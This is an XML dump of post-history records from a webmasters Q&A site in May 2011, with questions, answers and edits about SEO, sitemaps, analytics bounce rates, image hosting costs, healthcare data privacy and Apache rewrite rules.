  <row Id="32739" PostHistoryTypeId="17" PostId="14060" RevisionGUID="6a8ce079-a703-4510-8c6f-8e35d3d95706" CreationDate="2011-05-19T09:46:07.873" UserId="-1" Comment="from http://stackoverflow.com/questions/6040185/www-is-not-displayed-in-google-search-result/6040239#6040239" Text="" />
  <row Id="32740" PostHistoryTypeId="17" PostId="14061" RevisionGUID="b710b22f-266f-4ff5-9773-b1c162574875" CreationDate="2011-05-19T09:46:07.873" UserId="-1" Comment="from http://stackoverflow.com/questions/6040185/www-is-not-displayed-in-google-search-result/6040954#6040954" Text="" />
  <row Id="32741" PostHistoryTypeId="17" PostId="14062" RevisionGUID="602de6fb-ad51-4bb2-b929-a07d4bcca750" CreationDate="2011-05-19T09:46:07.873" UserId="-1" Comment="from http://stackoverflow.com/questions/6040185/www-is-not-displayed-in-google-search-result/6041529#6041529" Text="" />
  <row Id="32742" PostHistoryTypeId="2" PostId="14060" RevisionGUID="d3a9099a-a272-4aa3-b06c-dd6eb609b797" CreationDate="2011-05-18T05:27:27.627" UserDisplayName="Michael Little" Text="I did a google search and your site is showing up both ways. If you have a webmaster account with Google you can specify it there. In other words you can tell google to display your search results whichever way you prefer. I agree with JohnP, though. The standard today is to not even bother with www. This really has nothing to do with the way your site is hosted. This is more of a function with DNS and how google is displaying your site." />
  <row Id="32743" PostHistoryTypeId="2" PostId="14061" RevisionGUID="09cd5a92-c276-400e-9c45-c1d60681cf37" CreationDate="2011-05-18T06:55:07.180" UserId="4461" Text=" 1. Whether or not 'www' appears in Google's search results is **irrelevant** to your visitors. They simply don't care. You might - but they dont.&#xD;&#xA; 2. Ensure that whatever you choose, that your 'no-www' redirects to 'www' or vice-versa (using 301 redirect - normally done in .htaccess on Apache)&#xD;&#xA; 3. Google's WebMasterTools has their [own help with verification][1] on the www/no-www situation &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35163" />
  <row Id="32744" PostHistoryTypeId="2" PostId="14062" RevisionGUID="20e58d0a-a505-4b96-a426-a1bb7bcf01f8" CreationDate="2011-05-18T07:57:08.623" UserDisplayName="James" Text="&#xD;&#xA;If you have a single webpage that is accessible from 2 or more different URLS, then the canonical tag was invented for just that problem. http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="32745" PostHistoryTypeId="2" PostId="14059" RevisionGUID="65ede3c0-30b9-405c-9667-4cd1a41adfdf" CreationDate="2011-05-18T05:18:15.677" UserDisplayName="Yashwant Chavan" Text="Some day back hosted my web site.&#xD;&#xA;&#xD;&#xA;www.matrimonyteam.com but when i perform the google search it is not going to display complete URL **matrimonyteam.com** rather than **www.matrimonyteam.com** &#xD;&#xA;&#xD;&#xA;Is there is any setting required at the time of hosting or in PHP code ignitor config file&#xD;&#xA;&#xD;&#xA;Please help thanks in advance&#xD;&#xA;" />
  <row Id="32746" PostHistoryTypeId="1" PostId="14059" RevisionGUID="65ede3c0-30b9-405c-9667-4cd1a41adfdf" CreationDate="2011-05-18T05:18:15.677" UserDisplayName="Yashwant Chavan" Text="www is not displayed in google search result" />
  <row Id="32747" PostHistoryTypeId="3" PostId="14059" RevisionGUID="65ede3c0-30b9-405c-9667-4cd1a41adfdf" CreationDate="2011-05-18T05:18:15.677" UserDisplayName="Yashwant Chavan" Text="&lt;php&gt;&lt;codeigniter&gt;&lt;google&gt;&lt;hosting&gt;&lt;google-analytics&gt;" />
  <row Id="32748" PostHistoryTypeId="17" PostId="14059" RevisionGUID="9a4c66fc-85a1-432e-94ce-ff050be50601" CreationDate="2011-05-19T09:46:07.873" UserId="-1" Comment="from http://stackoverflow.com/questions/6040185/www-is-not-displayed-in-google-search-result" Text="" />
  <row Id="32749" PostHistoryTypeId="5" PostId="14059" RevisionGUID="db90de62-682d-461e-bd70-109a2a9f1adc" CreationDate="2011-05-19T09:48:06.370" UserId="3" Comment="added 5 characters in body; edited tags" Text="I have a website at www.matrimonyteam.com ; when I perform a Google search it is only displaying **matrimonyteam.com** in search results rather than **www.matrimonyteam.com** &#xD;&#xA;&#xD;&#xA;Is there is any setting required at the time of hosting or in a config file to force the full domain name, with the www, to appear in search results?&#xD;&#xA;" />
  <row Id="32750" PostHistoryTypeId="6" PostId="14059" RevisionGUID="db90de62-682d-461e-bd70-109a2a9f1adc" CreationDate="2011-05-19T09:48:06.370" UserId="3" Comment="added 5 characters in body; edited tags" Text="&lt;google&gt;&lt;serps&gt;" />
  <row Id="32751" PostHistoryTypeId="17" PostId="14064" RevisionGUID="7989a168-1fc4-4f42-8eda-6a2afa1462f7" CreationDate="2011-05-19T10:08:32.917" UserId="-1" Comment="from http://stackoverflow.com/questions/6051906/what-could-cause-analytics-bounce-rate-to-go-from-30-to-100-in-a-day/6051957#6051957" Text="" />
  <row Id="32752" PostHistoryTypeId="2" PostId="14064" RevisionGUID="1d2687d2-41e1-4d64-918f-b8de866bb44d" CreationDate="2011-05-18T22:56:41.213" UserDisplayName="Craig White" Text="Perhaps you are accidentally adding two GA trackers into the HTML? Just double check this to make sure you aren't.&#xD;&#xA;&#xD;&#xA;Also, check this, your problem may be settings within GA:&#xD;&#xA;http://www.e-nor.com/blog/index.php/web-analytics/problems-with-the-bounce-rate-in-the-top-content-report/" />
  <row Id="32753" PostHistoryTypeId="2" PostId="14063" RevisionGUID="0fe50a99-cb17-4e99-a243-5046fe2b39b9" CreationDate="2011-05-18T22:49:39.083" UserDisplayName="johnnietheblack" Text="A month ago, my site had about a 30% bounce rate. One day I pushed some changes to the site, and all the sudden my bounce rate shot straight up to around 98% and my average time on site plumetted to 00:00. Clearly this is a technical issue causing an analytics bug.&#xD;&#xA;&#xD;&#xA;From what I can tell, all my js is working well. What kind of technical problems can cause a complete skewing of bounce rate?&#xD;&#xA;&#xD;&#xA;I run Google Analytics, and also Reinvigorate (to please some managers). Could that be causing a problem?&#xD;&#xA;&#xD;&#xA;I have also implemented the async snippets.&#xD;&#xA;&#xD;&#xA;UPDATE&#xD;&#xA;&#xD;&#xA;Another idea - are there reserved js variables that I cannot use on the page? I am using &quot;geo&quot; as a variable on my page...could that cause a problem?&#xD;&#xA;" />
  <row Id="32754" PostHistoryTypeId="1" PostId="14063" RevisionGUID="0fe50a99-cb17-4e99-a243-5046fe2b39b9" CreationDate="2011-05-18T22:49:39.083" UserDisplayName="johnnietheblack" Text="What could cause analytics bounce rate to go from ~30% to ~100% in a day?" />
  <row Id="32755" PostHistoryTypeId="3" PostId="14063" RevisionGUID="0fe50a99-cb17-4e99-a243-5046fe2b39b9" CreationDate="2011-05-18T22:49:39.083" UserDisplayName="johnnietheblack" Text="&lt;javascript&gt;&lt;google-analytics&gt;&lt;bounce&gt;" />
  <row Id="32756" PostHistoryTypeId="17" PostId="14063" RevisionGUID="b789aeb8-9ea9-4ef9-9d80-898510564da3" CreationDate="2011-05-19T10:08:32.917" UserId="-1" Comment="from http://stackoverflow.com/questions/6051906/what-could-cause-analytics-bounce-rate-to-go-from-30-to-100-in-a-day" Text="" />
  <row Id="32757" PostHistoryTypeId="2" PostId="14065" RevisionGUID="50951f3b-b094-4baa-8398-152abe03bd0a" CreationDate="2011-05-19T10:17:31.107" UserId="7646" Text="&#xD;&#xA;If you want to develop your own service you may want to consider Amazon S3. It is cloud storage, with scaling pricing depending on size of data stored, volume of traffic etc. It has an API - http://docs.amazonwebservices.com/AmazonS3/latest/API/ - in both SOAP &amp; REST formats.&#xD;&#xA;&#xD;&#xA;Dropbox is built on the amazon service, so you'd be paying a dropbox premium for essentially the same service." />
  <row Id="32758" PostHistoryTypeId="2" PostId="14066" RevisionGUID="1dec839c-93a0-4793-b15e-a35d122c6873" CreationDate="2011-05-19T10:26:41.743" UserId="7647" Text="You don't have to use sitemap if your site can reach traffic like Facebook or Twitter. But if you want to make your user more easier to find their needs you should put it in your site.&#xD;&#xA;&#xD;&#xA;Based on my experience, search engine try to find the sitemap to know your site structure, but some expert said that the new release of new engine stop did it." />
  <row Id="32759" PostHistoryTypeId="2" PostId="14067" RevisionGUID="9fef9c0f-f9b3-40e3-b15d-d0d9e7dd5867" CreationDate="2011-05-19T10:28:10.183" UserId="7646" Text="I am currently researching hosting vendors &amp; services in Europe that I can use to build up websites &amp; related web based applications for healthcare. Eventually we would like the users to be able to enter some personal medical information into these sites, so there is a need to ensure data privacy &amp; confidentiality. Our company is US based, so we also need to adhere to US legislation eg SAS 70 Type II.&#xD;&#xA;&#xD;&#xA;Does anyone have any experience of reviewing hosting companies with regard to their data privacy certification? For example I know Rackspace &amp; Verizon have centres in europe with SAS 70 Type II but I would like to find others.&#xD;&#xA;&#xD;&#xA;thanks, matt." />
  <row Id="32760" PostHistoryTypeId="1" PostId="14067" RevisionGUID="9fef9c0f-f9b3-40e3-b15d-d0d9e7dd5867" CreationDate="2011-05-19T10:28:10.183" UserId="7646" Text="Considerations &amp; Vendors for hosting healthcare related data &amp; sites in Europe" />
  <row Id="32761" PostHistoryTypeId="3" PostId="14067" RevisionGUID="9fef9c0f-f9b3-40e3-b15d-d0d9e7dd5867" CreationDate="2011-05-19T10:28:10.183" UserId="7646" Text="&lt;web-hosting&gt;&lt;data&gt;&lt;privacy&gt;" />
  <row Id="32762" PostHistoryTypeId="2" PostId="14068" RevisionGUID="a167c130-7d80-45be-9696-322744bc599a" CreationDate="2011-05-19T10:46:40.127" UserId="1643" Text="In Europe there are Data Protection principles enacted into law by the member countries. Data Protection is the term in English for what you mean by data privacy. The responsibility for Data Protection lies with the &quot;Data Controller&quot;, i.e. the owner of the data, to make sure that the data is held in line with local Data Protection law. So that would be you. Even if you store the data offsite, or use another company to process it then it's your responsibility to make sure they are following Data Protection laws in your contract with them.&#xD;&#xA;&#xD;&#xA;There's guidance on such contracts here: http://europa.eu/rapid/pressReleasesAction.do?reference=MEMO/05/3 &#xD;&#xA;&#xD;&#xA;However if you look for ISO 27001 accreditation that will get you a long way towards satisfying yourself that they are going to look after your data." />
  <row Id="32763" PostHistoryTypeId="2" PostId="14069" RevisionGUID="f5bdd045-372f-4284-baff-fef667fec16a" CreationDate="2011-05-19T10:52:51.280" UserId="1643" Text="Here are a couple of links to articles with links to many tools&#xD;&#xA;&#xD;&#xA;http://thedesignmag.com/27-color-tools-and-resource-for-choosing-the-right-color-palette.html&#xD;&#xA;&#xD;&#xA;http://www.smashingmagazine.com/2010/07/02/25-free-color-tools-apps-and-palette-generators/&#xD;&#xA;" />
  <row Id="32764" PostHistoryTypeId="5" PostId="13467" RevisionGUID="e1f626e1-cbae-4a23-9e09-7b7dfdc4d296" CreationDate="2011-05-19T11:08:50.403" UserId="233" Comment="added 155 characters in body" Text="Firstly, phpMyAdmin colours those tabs in red to attempt to avoid clicks, and when you click them you will either get a Javascript confirmation alert or go to another page that has the confirmation. So it's very difficult to accidentally drop an entire table.&#xD;&#xA;&#xD;&#xA;If that's still not satisfactory I would suggest editing the CSS. You'll need to edit the file `themes/original/css/theme_right.css.php` (or a different folder instead of `original` if that's not your theme). Add this near the top, after the first PHP section:&#xD;&#xA;&#xD;&#xA;    .tabcaution { display: none; }&#xD;&#xA;&#xD;&#xA;UPDATE: As of version 3.4.0, PHPMyAdmin appears to have removed those buttons from the main menu and they are now under the Operations page for each table." />
  <row Id="32765" PostHistoryTypeId="2" PostId="14070" RevisionGUID="36b517e3-518f-4075-a366-5b3bf53475ae" CreationDate="2011-05-19T10:13:04.903" UserDisplayName="Antonio" Text="after watching a hundreds of threads about **multilanguage website** i didn't found an answer to my specific problem, so i think its not a common issue and i must have done something terribly wrong ;-)&#xD;&#xA;&#xD;&#xA;We have a brand.com website in DE main language and the following subfolders:&#xD;&#xA;&#xD;&#xA; - /de/ = canonical of / + redirect to /&#xD;&#xA; - /it/ &#xD;&#xA; - /en/&#xD;&#xA;&#xD;&#xA;**When i crawl google.com for EN keywords or google.it for IT keywords then i get as results the homepage in german language (both title and description) as top result with no track of the /it/ or the /en/ homepage.**&#xD;&#xA;&#xD;&#xA;Is this because /it/ and /en/ both needs a separate link building strategy?&#xD;&#xA;&#xD;&#xA;I've already configured google webmaster tool into the following way:&#xD;&#xA;&#xD;&#xA; - brand.com, no language preference&#xD;&#xA; - brand.com/de/, de language&#xD;&#xA; - brand.com/it/, it language&#xD;&#xA; - brand.com/en/, en language&#xD;&#xA;&#xD;&#xA;Perhaps having &quot;/&quot; as DE main page is it wrong and i should use a different approach?&#xD;&#xA;i.e. like having &quot;/&quot; to be a 301 to /de/ instead ?&#xD;&#xA;&#xD;&#xA;Thanks in advance, Antonio" />
  <row Id="32766" PostHistoryTypeId="1" PostId="14070" RevisionGUID="36b517e3-518f-4075-a366-5b3bf53475ae" CreationDate="2011-05-19T10:13:04.903" UserDisplayName="Antonio" Text="problem with homepage's seo when using subfolders in a multi language website" />
  <row Id="32767" PostHistoryTypeId="3" PostId="14070" RevisionGUID="36b517e3-518f-4075-a366-5b3bf53475ae" CreationDate="2011-05-19T10:13:04.903" UserDisplayName="Antonio" Text="&lt;websites&gt;&lt;seo&gt;" />
  <row Id="32768" PostHistoryTypeId="17" PostId="14070" RevisionGUID="925ff83c-2832-4e27-a7c3-6de602368b13" CreationDate="2011-05-19T11:15:46.243" UserId="-1" Comment="from http://stackoverflow.com/questions/6057071/problem-with-homepages-seo-when-using-subfolders-in-a-multi-language-website" Text="" />
  <row Id="32769" PostHistoryTypeId="2" PostId="14071" RevisionGUID="ed953f36-8f6c-4b5c-b6dd-7de1b84023d6" CreationDate="2011-05-19T11:17:03.537" UserId="910" Text="The sitemap also tells search engines when a page last **changed**.   This allows the engines to **re-index the page quicker** without having to make a request for all pages on your site.&#xD;&#xA;&#xD;&#xA;So if your site has lots of pages that change often in ways that need re-indexing, then you do need a site map.&#xD;&#xA;&#xD;&#xA;However remember that the world got by for many years without site maps and that they are only a &quot;hint&quot; to a search engine.&#xD;&#xA;" />
  <row Id="32770" PostHistoryTypeId="2" PostId="14072" RevisionGUID="7cf10424-0464-47a3-b825-c557b281182e" CreationDate="2011-05-19T11:21:04.277" UserId="7548" Text="Find a colour you like and do a search in [colourlovers](http://www.colourlovers.com/).&#xD;&#xA;&#xD;&#xA;Also on a simple scale (I'm no designer) but changing from thinking in RGB to HSV (Hue, Saturation, Value) is a great way to produce gradients of colours that you like - its explained well in this post: [Why programmers suck at picking colours](http://www.betaversion.org/~stefano/linotype/news/108/).&#xD;&#xA;&#xD;&#xA;&gt; A better way to model color is the HSV color space (sometimes called HSB: hue, saturation and brightness): most color-picking dialogs of graphic programs have an HSV mode and it’s clearly much better than RBG because it allows you to easily go back to the ‘linear contrast’ strategy by just changing the brightness and keeping hue and saturation fixed.But now you’ve turned a grayscale UI into a monochromatic one, not that much of an improvement." />
  <row Id="32771" PostHistoryTypeId="5" PostId="14070" RevisionGUID="565b5b9f-176c-40c1-b064-140b915fe3c4" CreationDate="2011-05-19T11:59:34.493" UserId="3922" Comment="removed salutation and signature; fixed capitalization" Text="After watching a hundreds of threads about **multilanguage website** I haven't found an answer to my specific problem, so I think its not a common issue and I must have done something terribly wrong ;-)&#xD;&#xA;&#xD;&#xA;We have a brand.com website in DE main language and the following subfolders:&#xD;&#xA;&#xD;&#xA; - /de/ = canonical of / + redirect to /&#xD;&#xA; - /it/ &#xD;&#xA; - /en/&#xD;&#xA;&#xD;&#xA;**When I crawl google.com for EN keywords or google.it for IT keywords then I get as results the homepage in German language (both title and description) as the top result with no trace of the /it/ or the /en/ homepage.**&#xD;&#xA;&#xD;&#xA;Is this because /it/ and /en/ both needs a separate link building strategy?&#xD;&#xA;&#xD;&#xA;I've already configured Google webmaster tool into the following way:&#xD;&#xA;&#xD;&#xA; - brand.com, no language preference&#xD;&#xA; - brand.com/de/, de language&#xD;&#xA; - brand.com/it/, it language&#xD;&#xA; - brand.com/en/, en language&#xD;&#xA;&#xD;&#xA;Perhaps having &quot;/&quot; as DE main page is it wrong and I should use a different approach?&#xD;&#xA;i.e. like having &quot;/&quot; to be a 301 to /de/ instead ?&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="32772" PostHistoryTypeId="4" PostId="14070" RevisionGUID="565b5b9f-176c-40c1-b064-140b915fe3c4" CreationDate="2011-05-19T11:59:34.493" UserId="3922" Comment="removed salutation and signature; fixed capitalization" Text="Problem with homepage's SEO when using subfolders in a multi language website" />
  <row Id="32773" PostHistoryTypeId="24" PostId="14070" RevisionGUID="565b5b9f-176c-40c1-b064-140b915fe3c4" CreationDate="2011-05-19T11:59:34.493" Comment="Proposed by 3922 approved by 1253 edit id of 311" />
  <row Id="32774" PostHistoryTypeId="2" PostId="14073" RevisionGUID="00f72a0d-3f9a-4372-998c-8f36b24aa7a0" CreationDate="2011-05-19T12:07:52.397" UserId="2157" Text="Have a look at any JS you added around the time, you may have variable names conflicting with the script used for analytics.&#xD;&#xA;&#xD;&#xA;Could also be an unrelated script error, causing the rest of the JS not to load." />
  <row Id="32775" PostHistoryTypeId="25" PostId="14067" RevisionGUID="0dfaa9f4-fa42-4dfb-bc46-1eac5a90b4e7" CreationDate="2011-05-19T12:12:21.817" Comment="http://twitter.com/#!/StackWebmasters/status/71186427957882880" />
  <row Id="32785" PostHistoryTypeId="5" PostId="14041" RevisionGUID="dd0355dd-39f7-4468-9c0a-19bac545d249" CreationDate="2011-05-19T13:18:51.803" UserId="7628" Comment="narrowed it down the edition to which my question applies" Text="Is there a way to do previews for audio files in the base, Magento Community Edition? I see the place to put the &quot;sample&quot; files under &quot;Downloadable information&quot; section on my product. I attached an .MP3 as the sample, in this case, and it won't play. If alternatively, I try to download the file locally and then play it, instead of the 400K+ file, I just get a 4K file of garbled nothing, and it doesn't seem to work." />
  <row Id="32793" PostHistoryTypeId="2" PostId="14075" RevisionGUID="eca8a490-e6c0-4b78-887a-42c849f715c5" CreationDate="2011-05-19T13:33:06.907" UserId="7383" Text="The $ operator will let you extract backreferences from matches in rewrite rules and the % operator will let you extract references from conditions.&#xD;&#xA; &#xD;&#xA;    RewriteCond %{HTTP_HOST} !www.mysite.com$ [NC] # Presuming you don't want to do www&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(.*)\.mysite\.com [NC] # Catch subdomain&#xD;&#xA;    RewriteRule ^(.*)$ /users/index.php?user=%1$1 [L]" />
  <row Id="32794" PostHistoryTypeId="2" PostId="14076" RevisionGUID="e7dd1988-cb26-426b-91a1-12c1fb8bd09d" CreationDate="2011-05-19T13:37:00.057" UserId="6783" Text="Did you check for any js errors in the console (through firebug or developers tool in chrome). Most probably if your visits are being recorded properly then there might not be any problem with the js or analytics at all. Can you provide a link to your site?" />
  <row Id="32795" PostHistoryTypeId="5" PostId="3232" RevisionGUID="76be6b15-20ce-4955-b0b7-2576b558bfcb" CreationDate="2011-05-19T13:45:08.817" UserId="1253" Comment="added 199 characters in body; added 175 characters in body" Text="If you know how to do any server side programming you can write your own dynamic sitemap script which pulls the latest information from your database each time it is called. If your site doesn't update too frequently then you can cache the results and only update when necessary.&#xD;&#xA;&#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA;[Unlimited Sitemap Generator][1] (Not free) This one can handle large sites with multiple sitemaps:&#xD;&#xA;&#xD;&#xA;&gt; Support of LARGE websites, dividing&#xD;&#xA;&gt; the sitemap on the parts per 50,000&#xD;&#xA;&gt; URLs each and creates a Sitemap Index&#xD;&#xA;&gt; file according to the Google sitemap&#xD;&#xA;&gt; protocol.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.xml-sitemaps.com/standalone-google-sitemap-generator.html" />
  <row Id="32796" PostHistoryTypeId="2" PostId="14077" RevisionGUID="b12a25f2-16eb-4660-9bd2-4ef616d64801" CreationDate="2011-05-19T13:45:27.903" UserId="7652" Text="I hope this is a suitable question for pro webmasters. Are there any othertags that have the href attribute except &lt;a&gt;? If yes, please tell me which. Thanks!" />
  <row Id="32797" PostHistoryTypeId="1" PostId="14077" RevisionGUID="b12a25f2-16eb-4660-9bd2-4ef616d64801" CreationDate="2011-05-19T13:45:27.903" UserId="7652" Text="Are there any other tags that have the href attribute except &lt;a&gt;?" />
  <row Id="32798" PostHistoryTypeId="3" PostId="14077" RevisionGUID="b12a25f2-16eb-4660-9bd2-4ef616d64801" CreationDate="2011-05-19T13:45:27.903" UserId="7652" Text="&lt;html&gt;" />
  <row Id="32799" PostHistoryTypeId="2" PostId="14078" RevisionGUID="a3fed151-5e79-4f68-9ad6-1268957c47fd" CreationDate="2011-05-19T13:46:05.757" UserId="6783" Text="The whole &quot;lagging&quot; effect was caused by this css attribute : `background-size:cover`&#xD;&#xA;This doesn't work well on a lot of systems." />
  <row Id="32801" PostHistoryTypeId="5" PostId="14077" RevisionGUID="100d44c7-8f8b-4663-9337-cc3f16d6a09e" CreationDate="2011-05-19T13:49:20.530" UserId="1253" Comment="added 2 characters in body" Text="I hope this is a suitable question for pro webmasters. Are there any othertags that have the href attribute except `&lt;a&gt;`? If yes, please tell me which. Thanks!" />
  <row Id="32802" PostHistoryTypeId="2" PostId="14080" RevisionGUID="c1a57b4d-8a24-4b69-b3ae-5b1e2698d4b2" CreationDate="2011-05-19T13:51:26.283" UserId="1643" Text="No, the following tags have it too (HTML 5):&#xD;&#xA;&#xD;&#xA; - area&#xD;&#xA; - base&#xD;&#xA; - link&#xD;&#xA; " />
  <row Id="32803" PostHistoryTypeId="17" PostId="14082" RevisionGUID="8d95ce66-ae13-4189-9495-8d9c91bf6ceb" CreationDate="2011-05-19T14:06:45.987" UserId="-1" Comment="from http://stackoverflow.com/questions/6059819/are-html-sitemaps-important-from-a-seo-perspective/6059917#6059917" Text="" />
  <row Id="32804" PostHistoryTypeId="2" PostId="14082" RevisionGUID="388da51a-bfdd-442e-8262-bbd220eca0c2" CreationDate="2011-05-19T14:03:50.687" UserDisplayName="Parkyprg" Text="The XML submitted to Google is enough.&#xD;&#xA;&#xD;&#xA;Usually the sitemap.html is for the user only. In some cases, when you don't want or you don't have access to the webmasters tools to submit the XML, is easier to put it on the sitemap.html.&#xD;&#xA;&#xD;&#xA;The idea with this file is to let Google know about your files that make your site and you need G. to crawl. If you have a good site-link structure, you don't even have to submit an XML to Google. He is smart enough to find all your pages.&#xD;&#xA;&#xD;&#xA;If you have some pages that you don't want Google to index, just put them in robots.txt file." />
  <row Id="32805" PostHistoryTypeId="2" PostId="14081" RevisionGUID="33a394bd-b439-4c9e-bfd9-8776090d1186" CreationDate="2011-05-19T13:56:37.817" UserDisplayName="janjarfalk" Text="Are HTML sitemaps (like this one http://www.google.com/sitemap.html) important from a SEO perspective, or is uploading an XML to Google enough?&#xD;&#xA;&#xD;&#xA;Beside from visualizing a data structure for the user, why do you create HTML sitemaps? Internal link power?&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA; " />
  <row Id="32806" PostHistoryTypeId="1" PostId="14081" RevisionGUID="33a394bd-b439-4c9e-bfd9-8776090d1186" CreationDate="2011-05-19T13:56:37.817" UserDisplayName="janjarfalk" Text="Are HTML sitemaps important from a SEO perspective?" />
  <row Id="32807" PostHistoryTypeId="3" PostId="14081" RevisionGUID="33a394bd-b439-4c9e-bfd9-8776090d1186" CreationDate="2011-05-19T13:56:37.817" UserDisplayName="janjarfalk" Text="&lt;html&gt;&lt;seo&gt;" />
  <row Id="32808" PostHistoryTypeId="17" PostId="14081" RevisionGUID="a75eb9a5-a393-427d-9bd3-eb935ffddd48" CreationDate="2011-05-19T14:06:45.987" UserId="-1" Comment="from http://stackoverflow.com/questions/6059819/are-html-sitemaps-important-from-a-seo-perspective" Text="" />
  <row Id="32809" PostHistoryTypeId="5" PostId="14081" RevisionGUID="f0b6189d-ecbb-4838-8d63-c6042d8c9131" CreationDate="2011-05-19T14:07:37.657" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Is SEO and sitemap really important?](http://webmasters.stackexchange.com/questions/13951/is-seo-and-sitemap-really-important)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Are HTML sitemaps (like this one http://www.google.com/sitemap.html) important from a SEO perspective, or is uploading an XML to Google enough?&#xD;&#xA;&#xD;&#xA;Beside from visualizing a data structure for the user, why do you create HTML sitemaps? Internal link power?&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA; " />
  <row Id="32810" PostHistoryTypeId="10" PostId="14081" RevisionGUID="f12b0da9-b2d4-4e46-b395-48f29c4aa16c" CreationDate="2011-05-19T14:07:36.800" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="32811" PostHistoryTypeId="11" PostId="14081" RevisionGUID="68cc7575-f444-4794-8560-b8ce610e9d9e" CreationDate="2011-05-19T14:07:48.780" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="32812" PostHistoryTypeId="5" PostId="14081" RevisionGUID="a7809a6d-58db-46d0-aabd-df7087354ccc" CreationDate="2011-05-19T14:08:07.207" UserId="1253" Comment="modified tags" Text="Are HTML sitemaps (like this one http://www.google.com/sitemap.html) important from a SEO perspective, or is uploading an XML to Google enough?&#xD;&#xA;&#xD;&#xA;Beside from visualizing a data structure for the user, why do you create HTML sitemaps? Internal link power?&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA; " />
  <row Id="32813" PostHistoryTypeId="6" PostId="14081" RevisionGUID="a7809a6d-58db-46d0-aabd-df7087354ccc" CreationDate="2011-05-19T14:08:07.207" UserId="1253" Comment="modified tags" Text="&lt;seo&gt;&lt;html&gt;&lt;sitemap&gt;" />
  <row Id="32814" PostHistoryTypeId="2" PostId="14083" RevisionGUID="2da17d43-095e-4833-ab68-076e5ee2ecc1" CreationDate="2011-05-19T14:09:46.067" UserId="1253" Text="HTML sitemaps are *useful* to search engines as they do two things:&#xD;&#xA;&#xD;&#xA;1. Tell them how to find much of your content. In this respect they perform a similar function as XML sitemaps.&#xD;&#xA;&#xD;&#xA;2. They are links which do transfer PageRank and use anchor text, both of which are good things for SEO. Yes, internal links are good for SEO. &#xD;&#xA;&#xD;&#xA;Don't forget, HTML sitemaps are also very handy for humans. In fact, this falls under usability which is one of [the major tenants of SEO][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/12960/seo-how-to-separate-fact-from-fiction/13007#13007" />
  <row Id="32821" PostHistoryTypeId="2" PostId="14086" RevisionGUID="147ffe89-5ca3-4b7b-b8f0-36e0bd62272b" CreationDate="2011-04-09T08:12:20.507" UserDisplayName="Julia" Text="We have a small business website  that needs to host lot of images and we are trying to decide if we need s3 to host all our images or should we just use a NAS for storing  and hosting our images &#xD;&#xA;&#xD;&#xA;Our website  allows user to customize their Products with any uploaded art/photo image.&#xD;&#xA;The design images and user uploaded artwork images need to be stored. In addition We have 1000's of assets files for Product images,Design ideas images.&#xD;&#xA;So,we will adding images of approx 10gb per month.&#xD;&#xA;&#xD;&#xA;The Products and design ideas pages will be accessed more frequently.When we ran our numbers we found that S3 costs comes to approx $$1500/month . (only for hosting images) (This is due to great number of put/list/get requests in accessing s3 for our site ).&#xD;&#xA;&#xD;&#xA;We are not quite sure if we need to  use S3 or use a dedicated storage server for hosting all our images or use a hybrid option- use S3 to host all user designs and uploaded files and dedicated server for all assets images that has lot of requests.&#xD;&#xA;&#xD;&#xA;Currently we only have 1 web server that serves all images and assets on its local drive and it does work ok.&#xD;&#xA;&#xD;&#xA;We do have a System Administrator who can manage our dedicated servers well if we decide not to use s3 at all.&#xD;&#xA;&#xD;&#xA;(We are not considering about Ec2 here and are going to  have our web server running on one of our dedicated server only)&#xD;&#xA;&#xD;&#xA;Can you please tell your thoughts and a solution to this?Will it be economical to maintain our own Storage and retrieving it than from S3.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32822" PostHistoryTypeId="1" PostId="14086" RevisionGUID="147ffe89-5ca3-4b7b-b8f0-36e0bd62272b" CreationDate="2011-04-09T08:12:20.507" UserDisplayName="Julia" Text="Amazon S3 or Dedicated Storage Server for small business site Image Hosting" />
  <row Id="32823" PostHistoryTypeId="3" PostId="14086" RevisionGUID="147ffe89-5ca3-4b7b-b8f0-36e0bd62272b" CreationDate="2011-04-09T08:12:20.507" UserDisplayName="Julia" Text="&lt;image&gt;&lt;web-hosting&gt;&lt;amazon-s3&gt;&lt;storage&gt;" />
  <row Id="32824" PostHistoryTypeId="17" PostId="14086" RevisionGUID="a7002e04-753b-473b-85f9-791191158512" CreationDate="2011-05-19T14:22:08.237" UserId="-1" Comment="from http://stackoverflow.com/questions/5603750/amazon-s3-or-dedicated-storage-server-for-small-business-site-image-hosting" Text="" />
  <row Id="32830" PostHistoryTypeId="2" PostId="14087" RevisionGUID="dc9f908e-b983-4649-8271-ab56c84efc2c" CreationDate="2011-05-19T14:39:40.967" UserId="1803" Text="You may replace the used image (/wp-content/themes/calendar-new-york/images/arrow1.png).&#xD;&#xA;&#xD;&#xA;Or you edit your stylesheet of the selected theme (/wp-content/themes/calendar-new-york/style.css). At #sidebar1 ul ul li {} theres an background-image specified which may be replaced or deleted.&#xD;&#xA;&#xD;&#xA;BTW: The correct CSS implementation would be &quot;list-style-image&quot; instead of &quot;background-image&quot;, refer to [SitePoint CSS Reference][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://reference.sitepoint.com/css/list-style-image" />
  <row Id="32831" PostHistoryTypeId="2" PostId="14088" RevisionGUID="23f0ec8b-3090-49be-832b-48c042bb23f5" CreationDate="2011-05-19T14:44:11.197" UserId="-1" Text="" />
